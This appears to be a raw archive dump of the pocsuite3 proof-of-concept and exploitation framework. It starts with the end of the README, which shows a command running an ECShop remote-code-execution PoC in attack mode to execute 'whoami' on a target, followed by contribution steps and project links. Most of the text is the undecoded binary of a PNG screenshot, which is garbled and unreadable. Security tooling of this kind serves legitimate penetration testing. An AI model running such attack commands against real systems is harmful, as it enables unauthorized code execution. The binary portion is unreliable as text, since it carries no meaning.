`command` is implemented in ecshop poc, which can be set from command line options pocsuite -u http://example.com -r ecshop_rce.py --attack --command "whoami" console mode poc-console ``` ## How to Contribute 1. Check for open issues or open a fresh issue to start a discussion around a feature idea or a bug. 2. Fork [the repository](https://github.com/knownsec/pocsuite3) on GitHub to start making your changes. 3. Write a test which shows that the bug was fixed or that the feature works as expected. 4. Send a pull request or bug to the maintainer until it gets merged or fixed. Make sure to add yourself to [Contributors](./CONTRIBUTORS.md). ## Links * [Contributors](./CONTRIBUTORS.md) * [ChangeLog](./CHANGELOG.md) * [Bug tracking](https://github.com/knownsec/pocsuite3/issues) * [Copyright](./COPYING) * [Pocsuite](https://pocsuite.org) * [Seebug](https://www.seebug.org) * [ZoomEye](https://www.zoomeye.org) * [Knownsec](https://www.knownsec.com) pocsuite3-2.0.3/asset/000077500000000000000000000000001440624615500145605ustar00rootroot00000000000000pocsuite3-2.0.3/asset/img/000077500000000000000000000000001440624615500153345ustar00rootroot00000000000000pocsuite3-2.0.3/asset/img/yaml_poc_showcase.png000066400000000000000000015775111440624615500215620ustar00rootroot00000000000000PNG  IHDR 2ʻ H4i<~.i>D9o1-_"ǰ]) Err{6q1Px 4: ,g@ >M&ľSBl m$Yi?dM3mPʹ(Z(OÛـkXandO c*Ľ(u ~/(!F)x=j^`Fs"U|Z( 1\!tQ>7b} bU6SbTІt) r_dlL!Wif%BLز@ Nyٱa*1,F%1BqHR+HǨKsmq#Ux_~f\2?X:¼AʹcOX{I~@r,NDqsaN75 V5Oȇ RKqYx p@ `i` ^x < @UDE^cA!"!dWG-P!a ă#Ȉ+ƛw p#$`nx8ꂳpρy|'<&t7'C]P?Xs[CM7<Pgw~ظY*nyVC6ʎLFdۡ#55U1?XC j-cY01 H(Ɇ:xL9;8V ˿р3E2C*gAN#.../k⿁0}禶Y ɌCYrte%/Єo0oX@2τ\ Y`>(e`9X *Fl>8:Upn $B"AH8$#H"Fd,dR#f9G"M>҃B>JEuQcP6ơ t*ZKѵh m@ѫh103ca, K1)6+*l7 e >D3qGCxOKJ|;ހx@#^.!AF(!TNwH$26D.&3K{-NCb?D2 9|HQ$)TBZGI:FD&WSW3UsQ VKQUP;vI'يE" 3[n'6ņCdQSRvSNRP^{SS_W}T=C@QRk-ԛ4͚OKӖh'hh5N\ \*K/4ɚVlI5/jj8Z<9ZUZkkӵGiGij/ޡ}VIZ'HGSEC:Fs|VIz.QF[K]OOGU/Ao^.ưfp9e}kÌ -{إa K_h426Xahp77g8pIý7jdoc4h~cc:ƽ& ,U&GMzL馾"UL1lfs-gfdj&3ln<޼|] "bEEe,z[Vd+UVmZ7Z?ѷܱNbGceۭG3/:"##\FXq'*RQ+FDOmq\qcF̊9K#m\@ܲ̈́ u F&N:l,JnJ!$lK4~ nJ&\h3qij 'L:2Ys2oTBjbϼ(^ ?V =BaIOzy =~"R2+4kcֻo99{rrSsu)&SO8HJ$]S' nC&5'߂ퟮ=]< g<) .e&>?u٬f<6uBmO="7 4+~SO%%Ғ n\/-j_//9mie6,'./or+#V6b*]fg+\+6Zi>WfV^ SmTzK7hlMM76lnBRքaRp[ٶ/ڮ1`u `i01)Cs#zG->XIK['>tJ۸a'Ϝ >u43>g:{\y . =.6uxv4wF(iN 2i pHYs%%IR$@IDATxp !(J "XX`MDDcML,]cb4v ;XcEAD89<[f2ݝΖ=|̷`GEovUUUׯ *--m޼_:묍7N>=id 6A?pmmm"uN6mZdIxXnSLqQlR؞韑 +weee~aeee_Ez+ceטg5k?| K|x׮]t6mذ?{,X2G8jժN:*g'NTqGZny2~{={ ',^x޼y˖-Ky`?|uӟ vjСGh[O=}i>haEx-ٹcĈgxr@qJ 5j6(/A>`xe>q:nIŦoe<կ_SN9j+=q=E%1Y纬5>hE%Ƞm(?}O~g6mڜs9qαc|T:em5#MK#BLw\h0m@@@@(t2`jܸi |ӧO~t*Uw,4VGUWW;Ｓf:ut;餓L2:Ф |{ѢE_|[l1gGyDZәYG@?p|- .Ԙ3G}W_U4yg%ג}9~ՅS}ϵ+ʗ@q-[{^t&Mj׮^q*re:[nlz0`[eh@N[.xꯒQ^~m* A*JO뮻a|bq7#/6Y}>2 λ*,_ʜ֧ĸ{M6=oFN=)y6Pwon`s97srGi[Ni"   & h;UK'8X跭==܋.(m޼VZ޳g;s/4|ɫWV"&weD;fWހM5U^='b;-[nɑ\窚>iגW]9\/| [Fbt3<3nc93;(3G f*}E"ꪫ(CQNƬYFeϛn׿7݅-#!_66Y}>2 ί*w>;=?W^yнqgkѷS+36@[޽U}dsӗ\x*;W.486ԝ6R&     ."쏖,Ѽe7mdf PnDj <;'CL6mܹФN*C+ gyFUoZBv@ lM衇z9]#WrxNqGT棺曝Ǐ,2va0t ٸKԤzJ~9D;%I뮻)-nbr2~7cǎ,#n! ߗ#Cjj^Up[fvZOДx4k(Lzy־v}9- wl?B@@@(`$i}OBK~hgdI}mSB];lj;ZbXΘ1)a&]9$ iG>J_p-*ѫW/8锟 M5ҨQ,WN3!hAY+Hh;μl.rgm%'f#GfҦZSz9zY<[=vT͚57-=JmUɯW.8͇!طzKC ˙wm|e&T{4Ҥ׿(L+)}q4xl2g6#G0>֒=!}lS>yrWg_t϶#UhCiњWn tl`2m6NAOv}9r4"وIK|*י#})@@@@ -b2lذN;MuNЧ~Z};{&B73Ohv}7w@ZbС:|ԩ){lҤɼy XbFѝ/1BS+{OxA~:tP9W_}k~]veZرc~ܵk+bCaM׿]9VKG==cT ?|d_c>U8-Zo)c)nԁqk{G#GH}96Fwd6^gR    @eha`i,|ĉ;w;;hvaTVV pBc<^{փ7x%R{֜f)}"5~h/0uY땜qt-4t>z5n$(~k,)֌>W_}#8BHrƱ:gϠTг%xj@l٣-Xƫѯ4lٿC /c }/jd 5, O$ED﷼ q?ky6%w!]u5q_ +{,ho]61׻G<ꖥAGb׭UG@u`H}Obs%{هR.Z^^ZI_9眣QOSNq43IԻ)Mu]2VxzkѢE0 )`h+)wPg>JiZD,ʯ馛dD͓0mG:ũ"qeܟ6NzVFԥKO?u a_[;SP^JHZ$)vWV?QV穔iy1>uT)d)W+2~.id wڌw@@@@|ez:xǻ:uk]~j[E ا^Tl޼ٓΆ!T~zno1}_G6̱,k{blܸ졇jժÝ'4ªy54)U4]8C"NkH1c4hiw߭)ǝt6&V~;$DjQNҥK5_m5f_S!={H+9i P_6́$%'!h6+^~e3UDԝ'>F8%V7q]LY+ {ƶ(3Cs~|>lNɺkB,św1|NfGiy67˸?m#M?L>59|K>T 's}J:MJ)SRrii64v}IA7SkCwJQ:Ƞwڌw@@@@e`}9=Ҳ&IЂ|.f q/d=D8}ג9γў͐: J3k_=lJl>КNazwoxEա<''#!!={͕ ٩|5m4§ *%b-_ZKw0½Q2~umj464zhf'ҼMJ010TCMJqYozLM`l#۪I.\g4 zT*ޫUIqKI+%F@Y %jvi5}\On;]ZZRD)V}٦"2mL]קOwoH,ZG'Eah-H"IxTĒq%7vw:RI~{MT}>2Q]*78!JFKYfl`eFꓰ>|v_fӿGwoHw 3myLy\A 쑊T>2h׈G@@@Ț@´ )4y?qeW#͚{Y2d{N:4v, % :G-foVh SƫE&iаfw{[?ܟڀYkR>Gfjp|؍C|>gu' TX^ɖm*B={}[Szuh$%a׿~G"zkb =C @}Og27))P/6'B p0eiϿZZH7^Z3h+ٵkWmܙ=3FU9Tjtw}Gwc Ǻ3#='*yZh0ѻsMQ)d4dFftVRr۴ixlZ>ꓕ>)*SUnU߽#>fi_L@G :Ƞ]#@@@@ k 2%ah5#*FY>I'C3ukT ӵHOl|rʗN;- x6=jjq=Ϧ0h!_ɞ}?cZJIQ{F6o1^Z DS(O&LGqw;S6]&}Scf MrgMU<[Reȍh[s_)\+xbzZʤe螬%Gý&Q9(>hӨmHOaX23}>2 JG2nuq+b'    @2}1O 1z꩚LX+/h,YLM*M)h1Ow_Kr=-AJh\Miqa ZI=m4G?ְ2``Vp´1kBuͫLҮjTI6緰J)8iX܌G=I&d;R+D`@9گ6K:ꨎ;pr*LIZ9Dx lp-%mLͨ>{ܘD;SPt}7''gJVA_ʥӚ{ｯkƙȴߠ%\qxPZΎai#>Zy[tz;Fytگ^=˔231feq1G:z6bd4/m#CF:OS}>Hf\ܺc/4rt{VKI t ڒ@}dvZ[Li60w@e>2nu>)i6    iy? #i4h^9$1]tQ_}U %W˚^5U-D :D-z`xI?7sbX1fς A)3w';{,7MS~H.G*֏{R^n4qK9sPʂ~7 v*!C۬ wZvZh̞=23npl|-%jCܹך ~%jtY ǻjCToƯ丽KSjijHkiR}[A d8Oa:"*eҧe_w LEf̟y'5`qV01n-k^_srG:x6)aO9i>no4*dn!! W%kIOFidJTnIkWwoȠ #}Ӿ^w.2iLNnR    P2]I'/.EڣeovOժB3Uh i%nZc^K> U^N}#饗*^5;5L?ޓB†SƔ&?>5SYmZ9;>4$ӿFCi&u/53W ȑ#5_픖 2硙D[L?!yzwձZz5O{baԭJ*֝Is뭷j s{G&Oqwq"Q*ҶtO馛ĆVVj֬(=`!a\ɱ]#kۙV6yu":}SN9d1,87R~u qoۿ)o.]v&Lz?2dA~Sle:l(E&̴<k=m21SLT%ݺuSV_۶m -6l8EGũ%@KTk}>2=b_hM%}+TQPFخJ}6kfx} 1G*3nEqwfv}ly.S;m7-,00{}ly k    +?-CC}ahKftn+@EПSUu (M67TTÆ 5l4Т %%Ty8$ 6WP?hI5Nf*{܄>袋.RpNL?lx0'R|JY'E s*"nZ+C.kp!ȫ+Jq?~x}c,my:M4l\K&iV+e|6^Kf<|YYYyO`-KJA3?/6%vny J+C 랦Etstzzu-Lhf MΤե[vڿ)_߼y23h {2~.?2'֭@sJyDIgrCs@-!ac'ڄ۔Bk)O%WR?J1g$luBt#[޽*HsؼoZ˲uj6~Q2    @\:q:;504ɄF5W5s uC^YY(bŊʇtާR5Ryh ,Gu>G%}JTJ8F1 JвԷ>)+5DEA߇)\| ?:t Y$%2D$BPH~i]3hE'V_{SuM5CI-z6m@̅ͫ.׻ n;w^6&&}}%w9Bzuޕӣ,͙#fejeH\lwX9QSSX>ĭ+As(2'@}>P>ťv`teO1_5Jv IzlNk~7)!>2A@@@@ zS4ۡJG"@n Si͓B@ :Ȍ7@@@@2+?Ӄg(+ @@@@@@@Ȳ@I:@@@@@@@@HI?V֚ӦM?~-v[{”*Gze,dL DG`7i    [   /аaCN(A@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@VNS;  P>;wܬYW_}uƍ_~ӦMgS~بQ#aÆڔ F*rᮻ;,[lڴioa+ٗie"_~UUƍc[Û6mZYYpq=c?Cl${@@@@@HH@@uyW;0sQٳvu}vjРYf})RhpzoݺAeT3֭[sLpqiZ=JH偮sd_}.~k#g}3ضm۸ǚiY<,۞=z΋46=     @ e!  @RiZD9+WLZF4h 4кukgfCcv'L hS6(C Pb+V[meIiӦAdd~͈F-SjA޽{oN!fCkVZJ}aF+$sLODJ229Y-m裏@@@@HM8 @HEЧOܾ}iZpa}U|Vi$6lh2lxPi7n_3CYias衇F*eD.|>5kLn -9HkɌ}JlĉmS4p̱1 ak\=t0Oy=묳֭yg*D (=)lǽBm@@@@@ _OE@8'OQ883ׅ/,p9ZD< & Xdjwfp&v3X.1(B~g 0eTcr2Z{@m'-SZr!fJI& O!A*Ǵ9<K)ٸs||tWmHρ=LG6+b΅iC=d\~JY m~aÆ9'BZuQ&㣏>6mZl٠H%h‰~Rg=;aaZ4AI)4g}„ WPF-̆gJ =T[o`Q!e6o,V0<Ś7@ݿL}tSѧ?Jﯳ9W3<Ӵ뮻ÍMQ1j5*Йfdy:Ge0PVr#6ছn2gy̘1Zl{@@@@@Jlkڴ$@-Px|6g33d%ghW#:uA3XTN3 pNYSڶmkϙ3'Qsg#2=UL|߾}[li9Τ NG$ Bϑ}ڟ~%LBg ܘ`(cM1~D%@@@@HA IZ~Tġ[l#*-MB 1\bdeŨ{>0zD/@ M/^Ҧ/Ac{ԤI͛{xuΪTϼy<+Cqh3zkϳ{|aNAb!Fʥ6hP<{'>h8 P?ø/^l!5F;U/_ %^4m3ME׮]g57) _ɓiyƍs2 MqAi)ѡC|O?4v0thCM0`Րĉ8гwӧv J-iݺYDo9ܾLM^r 'lV:PJ7jvj_7:uYFJ-*~ J3h @Z[]]6ۨ|] &L? tXw2#ՋC9IiԨ龁ҳbҤIfH)\4Z?HP: SLcy4x`&̈a    ,df\k>oTV0wfguuy2C( haܗ Gq֋hfjm?*k޿ƔḵʇM0 І=j%8 p(;A=T22Tve iӦd(>2c[2͛7O:Tp4oU|`S(:/C-)++w…jUVJQF;]J챞=n_}4?@m۶5i4"-{d?tѫWOjÆ 7'C,,Fy    .P^]XBwE $^kUмyC͝~%۷G!}zTjg3 009j(Mz(So`= >e*cv&АHFJg2M3r*A_hJ-ZB4-o~۷o:uEˣh[#H1J;0¢ +Qç kG )@@@@@ @i~ǺusV0jUmwE}zT|W{o;25$g6>aÆZϥ5f̘hM&翤 LzƬ_~Μ9A73Ck ر^,Kԭ)<;{vf-6=R&)џe]ʒ%&Xg(@@@@@[ukǼ1udLJAAףbH&af -~eqaKz'ebRgTÆ  ӧOj2f0Zl-    E.d#k/f:u" @? G85kh9oQ +mr"lUK@k^4[nhA30a*<޽{kMKW3|駗^z\x=G     @/C=7Zw'F(g(. 6AL* etС{ΤT ZD 3gΜ5k֦M @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@vM%s^jUux|5kpQ{toߍ0;xB<h׮c)S<텧CQܓ6p @@@@@ G`6._һpzQOvKi|XB @z%O=¼үnp+V=[٫=lK@@@@@(z*3̚:SdK~v+?:K>FC';XQxFO      PtedT j,X%ys3's淋Osjh`"kDE<"     @q L`- Pz7]v{#}2}E4;XtO@@@@@@0J(2}f%-c )(ٳ舺, {[m@@@@@@ $f 6a3gɬl$ @ E[{ 4 R      L2 eO-?ueeOX)W ;X+ExFN      PtedWU<ėٮ@LD{LVx5      P,bR'n!       @y?[Ɛc;yF֭{$Un|>9$7{Fd8aȾ0n_{ңkggӾ0(3FdeȾL"@@@@@@m=h`۸'ĝaiߣ0" GewÈ̗^;=!FȾ0"/ӾGe     @8k QWNg9Qmiu=VTT]o= #2Z0zd_f}=|Q3ڳi_{amk#2 O2{d_f9&ԾS8     dY g˨Q)-b{FdaȾ0n_{ңkggӾ0(3FdeȾL"@@@@@@()nj/6 w*#3޳'ooU}WފH@@@@@@#icFfʊQ}pYש&X~e#ypPii+^Q_W]g%y@0      :Ipz+۠A]Ƚ}Ï%mp-oӗ>5CN2{_u"YSZ1޳%m+26I0     @ /(WW̝6ٌKw{vNmTx}Gh|Ϭ)nYxג}PLډD@@@@@)PykgzYYS$ x>yɻlѠ|UQ}/0ڕҮyF\U͸ReH>D@w-Y( ˴o@mI$      @M} +N O^nd      ^7zKSN6+ӣ^!<}ld1_K4@@@@@@8Λ gL;i7(-(ӣ,^>SUO|s}aR|8 @@@@@(z"!wv3>_[jkݙhieH“W(+GioE$                                                                ! IZvF]:oӠAɜ׮ZU4>͚58樎=7W?a~yw,߿jӿYxV9͑Gt(-3=?7 "5ٴ>2lFhk/+$Zvh@@@@@rK`6._;-v-MfB=Blŭ ^VV^7ڹV0nsgk>ڳi_}d@- t6\`E{D{>v@@@@@Ȧ@i6+ Z׊4?G ́fZB:֞N96k5yvܡL5~'cҬ5 qg38Sק"     @! xgf~K*Ɔ 5 rk=˝;601ͅ;u_k7ZTsιH% )!<l)@@@@@rJ 2bUEmm颭=۽ uчkٲz!ǿreur4k>GOLJlAY4      @9pf%-cȦXgTvӻrK?-!7s*fjnsTII>{o_^.4?\sS@@@@@\ 2~Yd֬_6yfHjfO+@ݺu9Qo~9]\y^Rkg359W|N;vy ˙ٹ>{jΚ&/)3KO@@@@@@ r=-iOjYYd.ڳ_j8K/Y3-ʋ08MlZBgX&쿣{V}¾>q_cr      W 2j{˸MhkB"5v6>;nNmmjeQ\9zbRjg3%b9hݺM?㜳vSdKOwBn//,@@@@@@G 2@t4ONh  HyUuȚ5_|;_ή0@@@@@(Orl3 =gk]瞟{m8#C fg i2sm,v}._$|sf#oQa?/=ʝvdBƏ?־K.g5a_r     $m=h`۸,))qeG--w/+a_^8_Y=GNAf؟#Ȥ:aF(_I Z{ %dhɒK.H I<     %iW^3;?bڊjNHQM3{|i6Zn%.b>9u"|c#}<F*0_z/K 0{2ǮXᡇgΙCNF      a }ZFUUMUU }MiCmΗ\evԦb{U GګQ}aDKa̖q/{|tsnohG_‹&ҼFi      @*%1˯cT>@Ӧ_8"@ UU3uۿuM~l׶s=wG!"9@@@@@Și1\bdeŨ{>8SL]N$|ٯmwwiڌH"{$=J[V,?o<8^unb.RޓѾV?ӏ޲@@@@@@0 a0 <* ״iƍz}[[BT\vӣҠ{jF"X (Ǟ$ػw廓Ω'~Ehhk?Ga˴7훾1g#h9#      -#SSYߙꫫk[~S(3VŖa;/իդ]ށm {O}kSg3V.Y'^uǤaL 7k jjjㆱ@@@@@Ȃ@u4%@/gWҼE*/Olنw]8iW䩱Gn4Kˑ8] a;#-E{ 0ʴWHޗcFi_/wxQI3r-%@@@@@@@%(/b<"fNT}dbrox쓳v>cΞ~q)<,{:ȱaMˮ򌰝}J@$f͛kgUq uF6     i93%C v,XΧPHB>x2.]SKJuѣzzZCi7]v{#}2}EF^BgӾSѶӾvH{%"] Ra]gyEuF-g      i93g1?f$*>2Q sL͇lMqUn8={Ν6"/!S6ѶӾvȠJ@KSZZr]]]smv0ʌxv"      ~Yd6k9^׬0Qҿ/q q6gj;vn) Ki5rݚ}7~F0tm@@@@@@ GJsތO-?ueeOXHr~_sO<}Ϙbwv q6gj;vn)K:S-[6꾛7_?ItxQf@@@@@PWU<ė6eGڔfbL͍? lzT?U`QEq6GD9.}7++t6nܜ|: Dg?      D_\Ukn|͐ywQ=rRK>yXW^k r(@@@@@@ h!v:[5u{~-wvHOQ90GzG ־]k^t}ni0ʴHH*})i{})DscM?m6֞Z-     @eoA=I%%% ȸf<_uFo)`ewHfQ}D"@RHKI[C#MFѽ[smxsjLm#hQ      @> QZƕLOآR~ee1z̤lߞDjOT@@@@@@()^ѩ\l7AII]n3zT\n*mC"(R[< _|y^b     D%@ZFTE]_pϿ}ZjcFfʊQ}p# 6KKK`~7ni׮c)S<Ȑj֬1Guѽ/ ˿ *6ry{|{T*hfJ_!w63#ٴoedH avm{bŊ?&Hb֭N;mڴiɒ%]/'/6lX ~w`Ry7rN*(I0S Y1"xx"zD$9KmzR }jj+|'8 %t@@@@@ rR&OV!m#(#V-kZ7TŽ+ry{2OSٌR_!ٌ{MZM6ՠ~O>fݻu]K/=쳝;wk6lڶlr~/+RNLO;9+?7&2gϞ PmׯwT2r)~{JL'M0F5kvw6j<2WO=R^nW_}s_Y^{qƙ:{];'t2enO?]1.AÙ:uNYa*y>L'x.:JA<Ɯ9s+ψu[֭[]4     P{XƷ߭RSKpy<<{9:;glOsS)i#P"O>Yq۷o>}z5W}\rɒ%f x5'x>pK:5viAK_|Gs:_tEpt}9sO?#|_Fh Jsէzᝰ PT)=eP׮]KCڴi50f̘P /׬Yꫯvpg /0a-% hGiӦiCJfr%mFTV-T:h"pH.]z|'7t"Qƃ'ԆC%Ur7@<.koɰλPLW_}5x`]_,:U!ay2./bذaZve˖aO ԅhs`ǎd"    %Ke,Mz  ׾!v2eΝ Z3Lw}K 7oJbɓ %.֕0͹duG+ǫBO֭[+ACS6#kE S6ѸaPa-0{tI۟d-(sծ6pQ`~Iaaya֩S믿e3|-3tP-C912 xWe_ҷ@#-xw={LYt,|[)L(t"N['Gx)yʄe|"    @2rrrsrB&.2oLb1Zc1":Cv)`_gіt:\$}oݾd,i_}?Kڷ^%GT%핊ۏdԲ 같Ysz>h|w|=ܹsZ+ڶm;p@-ryf69+Wܐ!CLCCKVd4ٯmء;322ʔ)BVZeׯ_E5T#駟܅C*zVCIII9묳i---ͳ:}ayz P=Գ|v9@@@@@$.:@@@VVcfw̾-,ѭ[7%||OZS7|ܹs5MޥKϳqg?}HѡC}zZS^Io?^+s(x㍧vŋ"N<:_ڌF1b'4DCh߾ߦͰO>oݵٗt kڬ; ͱ;wp&MT$[nE) 07)nb$aOP>):u2as޵=swj-/T+vF$MS,,O ɱ/#ҠN:$ETa-k%%9ϖ.n+5lPactMhOkMOyAΦdXc}D}L^t*DƷ09       puވ MR+HJz3Š2:vXF@@@@@~~E@@8Æ [rɓ7nh %lҤř3gAM     1iT 0`D nݺni:V/O>9J8@@@@(Q}@@@?F5cƌl=&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IDAT@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@F?0G}ٳ=OV\y6m<ոq޽{{2éSΟ?Sy楗^ZL &Q~FF<333X}Um=))I`_2x=<       @R˗ԩo~ǎΉ'>g+VShذ~&ڶmۭ[7=+$(PZj]wu͛7WBejժ{wڵٳg֭͛7m4GE-Z֡C5kZ~̙3Ǐ}IQ@@@@@@@%,,ôx⫮Ӟ{unݺU3i_:J:#-Zd5};޽'3_ypWƺ-[_r F\sn9 4k׮ȑ#ejj+V,*ߠAe+Wβ n$$$dee-,*_ovyq5iҤW^ZF=q`_9       @tBe=wyݬWREfR\aGuw߭Ys"̔V<ׯ@,^}{۷oJֳczÎQ.@G)Xaر:tQ;vpFP=ܣ@G~=XOWBOLgK<       8lYoٲe.]ZB܄hG Mk59--Ͳ!ުɓ'k) ^}  ߸qc<կ_:u^$޺x1j[dM6u:`_9       @tVҤ& K/iHrGk˒gy_~ r`t*]tڵ&jI´ tY vY7o|ͫVڽ{wQ,PZU*&x?Dʕ5gm۶hRGKnڴi[l ^Vԩҷz+xIZB'Q[ٳǝIp \p6Q7yVcں9uFiǒ       @a2Ԟ&z?Fjjٲevr2cKʌ mN1eʔ~ 7x?:}7ƌoGnvm!ѧOm"3gm攴Lr)=І&ܹb>cӮ];5mVJz衇%CW\Qn]S`n.Z_|ѦN;M|G C)oZNG"3"yŵ<sc׺;O+hݚkz:u1c P xeP+ \9sO?@#>syԜO>޾}ӫW.￿w˗/wS ~-N6k֬aÆ2mn6ZAV~wE0o 9_Q﷘PmƍSm2b׺KNHFB|ߴ}IcA@@@@@@@a~[nVn_24>znI7h:>ug/„ z>RJuCgs=W1k֬NXe]ֿQNsGq/-[z2[W]wejVӐoqÇ Ptȩ56aׯa{hbر9|̱Tea3ZB1(uPD Yf֦O=VІ СÙg`'Ĩu~%Zt1"P)o_]?i@@@@@@@6,Cmk xIzzVnPV+Ll5|hS?$Lp}DeUv-;ÉTyB{7x[v$bj/fܹ 0p-2tPm3d9x{؍=xͳ<4m۶9R6eꪫ -[B[Ə)h\֨[dƢuws[\y뭷Oy%=@@@@@@@0Q"Zu0=<<83f^{Guԃ>7Ծ*u@@Oa~i&'8c7oիM'8FO5o\jswB#P*dҠAıcǚ SV7C]9z6v:w b6o޼uN;ԦRUQD$; ړEdɰ/TN@@@@@@@ Z ˈV­GAnݵff/=zh~ʔ)V&?sp:ŢNQL5K?V+PEӦM RJ]SBnZ~4ZE1'N a_3"      DEPΝ;'kժW\Ѷmہj jaW=ô4ݫMar=\%!We__l_:+ؗ,Yk{C}wߴvݻM6sMCk޺߮]s7ηH#      DK `tB8|7|fvХKֳi |UڵkpU(ƽkIp2#Kl=jf8# wNXd~HJJ2**.FfzF\\A\ffDht[OJ\ ;;N WBܸ힂 d\u'<|睼o}23z|*-9{>U ܀8!?Y2 -[V\)k׮/yXT 1lܸå^ZL &>{8nݺC`%lih믫WOLL[={:ʾ~JObuc>_"^QNbŮbu%~8!Ȉ({_ȶTr˖-!ˉE)Y3B)uz *ݻWWhȦ-KVV-''Ǧ-aޓ GJ    @ Q|ZN~koyI>þv}v-ٕ/,C*09Y/3JLcesTX1wYN=,]mН1?{ϻ9UnPrIrv#- H8y9e\qڵszaÆs=yXT͛:tΜ9a 60`:avnvYMo߾}ڵs]|Y\r=z VT… gΜGVaUϦ]-VEϞ=O/ٳ?#~%4[HFr.^|IyG3JUJшZhѱc:ԬY3>~.ׯg}.4ݿVZUTI?K/=}E&Q gyfީI}ї]vٲe˞{9QרQ)Nu]B)ukn۶mnTַG$nz޼yӦM-\t^z]tEF_BN:qJ\}͚5kڴTɎ;ϟ T}tr"xO.0"@@@@1`af/^j;?bŌһt1ŶUVj>vX/ӠAʕ6cIT80.!!/+뀩rS>/v.u;w;&M*_+QMf||.99L)͛WsJ۟|Ҕ`2oBTU'Yj!%.}Z?kf)*rTگsYǗWÞU((9PyY{\kIjk^z[d%7I.&lrko#?&oUeN8Z |OT\rɿ[-_PW~{wy)nzGW>Cݤ[V;n%7,#gW^ѯW^yennnȁoݺ533Lh*P1|[wŊoy{ -[oKy/n}x bw^ܮ;"$*B+!}7;wk&M4 ޸qA9*q_]~i N>dh(NNXTIa۶mQk<՞}zvҥNjԨНP,KaPEڤ+V˦k׮ȑ#Ce(D$$$deN[>|4}{ׯE(0'p)aYRJ#E(nX'tbtԄ5㮳D#xO{]    @qaxP[j%^T* ))ÄFkfذ=3}S*;v8"L$'Wnd:5*Xϩ+V/ݽ٧IK%_k@fl6wo43-&;.3UVh;w9ZDehfsSxRkCH $z- Cyꩧ484b-GydËmXMX*UŁkBwjþZ(bĈQoE%P{LKЫ8ZCL=c؋ە(G(//OEL>}_iUc;v'PH95\ f}Lf>}Zrty)zdƢNT;÷~5 a~+SOU=Z}YSa,bQT{ Pw<\'{QLF]tQVGMB(yO9вv-Ѳs`/0nAK9Ddɑ}+)&@@@(Ve[+ck{_ qUX?)wLl u:Oxcu3ID;waK(tdSwRi[M71Jl$'}xMWJ\yޅHhX~mо 9f'$'9#OvLq݌9:5-fst_*(s Vg;uM948ydޕwD}1:}ݒ%jJP歵>dΘ1CYW: #R ꫯTXs:Zcݺu/<ŇPEa Y&O|UW)XԩS'hsQPeVZط"BFBQiousifZ~qֺ! BdV;p/|B -|N1ZB{{І* 쵄-GqΦm|ȪmUm:\3%d6thAݶ)2{LCI1ca j'QX5v }-fȚ#BG޸]z'qXm? 7r쑽mꪋ݈ . B*zOq=4y3Ϛ:g0akB0߁43Jm, iz" TX'p:oFbf.}Us k¦'S Lz}k*ؼ+ mpI@@@@QvK~dt~3?H7{ ;>w?zMLK/_ -[-l̹%}i+W8s͟R.Hd}I֭Qbm{wK嫫VQiԜ-pio~Mu_F.떉_D;qr6І ݘտ'M仄& .]<ܵg߉nݺ]quutc=Ѵ{fΝ;6?5٠ݮڱmۺ+n6B&t7j/} L f ^zĞ{(Le'gNLqܩ S,-d]$Kl<љk6llrj nX'˗/lgϞDn -ABݩ'WqwW^_Iy ?2dY#rzftwg/>IF]T)ᔌEm3̝;Wz)UVZ 0ANI /bg=O }e3gkTwŰ޽jJ.)    BX BS&jդr^tif6c3I$4;*ʸߥT]Ըeˈ].&|;_in>¹9r#&Uƽm*#%o=?L^ʴQn%h2]}.qYI',j^hР5== ѣ kd-2dEZ㯧&˵f5[uB3TЩS'JNB[q?X{W^]s']Xou֝:#Nh(mkTb"E8>Ů'D<4iܸ8oflO:m۶ 4i!-:]vu<x]ըN""f#tӊg>IǚK&tu]@M)$EwN8Ѧ|2H?С^Af 54?G*cߺfgXy|_rO ^"xl:We?ը޸4멹L}hQ/ TBD| 9OO0 `!&V7O%\iylhD*PL[<<>)iȑ~#H2<>993kyԊn /s:ŭOMV!grVj WK,-9 r 5E+PO%eTҞ;*& [Y|ݱ,A.]4]}XfVMp&YWCP'|[ǎQ&5)nrP]N7n<|7(JSO܃;,òuwO"Hko v6m4ݿg_xo!/馛4 8u>ڈy$t6-ZDMjflnp&vޝ/׬YꫯvPѺ0Q;zw<; +'0(䁺KZ?GQLW_}5x`4͌jYWqQVB#o];IP Ptf,FtC N&#Fp%(`|81 rN7i\ _ܵt, nw}RX+ZZ%>M;͛{B. ;XD#gM}7I7߄P/,bxkyHʴf'OKN SĉC=ea{;Z&^gY'@@@@ ̰}ӖipܭtsS57|Uu|Y3}cG`vߧTPw8AQRcк=dhmqᙧw}P*U;ћt@%KN`EAm8Bڵ2Ztn 2w۾oĊyq~~wy^{&*tKUu*w24U=5)~w81~{ ddESѺ[Ckoj]JC[ MЊ<󔽧CMTR;w4yJ1:a;SNZt#lLZCVKR(&mvB~!C"MheM XOysd~t4kAaI RѶ&a6Ȳuw33 }),p_!+Z Y}WqXSɆ  ]fͻ|a^Wq+~XGT(O)MI=wys?w>Ή  X)jY_PD-i2_R[޾kNw*-W]굠jm_Y*C_ wEֻ @@@@&p2 -]c=+VqٲȝKj?X[nY3f(&#.⭷i1uGZ\6bzzcԭvT2Uǎ-{t m\ǫ| 3knwK\:.iӳ&mg 3ﲳyo)wႜ}2 qVHHVn\~vSAiӦjeٞ >-{-)֖Z[w]eP3'oݵ:Įu5u_5ۡ =Nr=srrTsKr yN:IbaҤI:[`M 1kkۯIm(DcwvۚLNX5E%=4W-ϑSt-[lٲZ|iW9 Qsdٺ\tT["cy_o͐Gp-StFjߒZQNq0P*1oqZ|6R&ncit d"GUli?9~Mf\]PjgE;"ZB$~zh1 h TTO}I5P8VQ^s5.< P f諯SH^)^B9ֻ 